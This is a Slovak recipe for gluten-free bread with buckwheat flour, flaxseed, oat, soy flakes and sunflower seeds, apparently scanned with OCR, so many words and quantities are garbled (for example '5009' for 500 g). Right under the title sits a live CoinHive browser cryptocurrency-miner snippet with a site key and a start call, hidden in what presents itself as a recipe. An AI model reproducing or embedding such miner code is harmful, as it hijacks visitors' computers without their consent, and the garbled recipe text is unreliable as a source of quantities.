Chlieb (oblubeny)

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

5009 svetlej bezlepkovej muky (Mix B), 50g pohankovej muky, 50g fanového semiacka, 50¢g
pSenovych viocgiek, 50g sojovych viogiek, 50g sIne¢nicovych jadierok (sekané viasské orechy),
1 kocka drozdia (42g), 1 PL cukru, 530ml vlaznej vody, 2 CL soli, 1 PL jabléného octu, 3 PL
repkoveho oleja Drozdie rozdrobime a rozmieSame s cukrom vo vlaznej vode (100ml).
Nechame ho niekolko min(t vzist.

Muku zmieSame s pohankovou mukou, Fanovym semia¢kom, vioCkami, sine€nicovymi
jadierkami a sofou. Priddme drozdie, jabl¢ny ocot, 1 PL oleja a zbytok vody. Nastavime
program pre bezlepkové pecenie. V pripade pecenia v rure cesto asi 5 minut dékladne
premiesime a dame do formy, ktora je vymastena tukom a vysypana bezlepkovou strihankou.

V teplej rire nechame cesto 30-40 minut kysnut. Malo by nakysnut zhruba o polovicu svojho
objemu. Chlieb dalej peCieme pri 225°C cca 50 minut. Potom chleba potrieme 2 PL oleja a 10
minUt dopekame. Po upeceni ho vyklopime a nechame vychladndt.




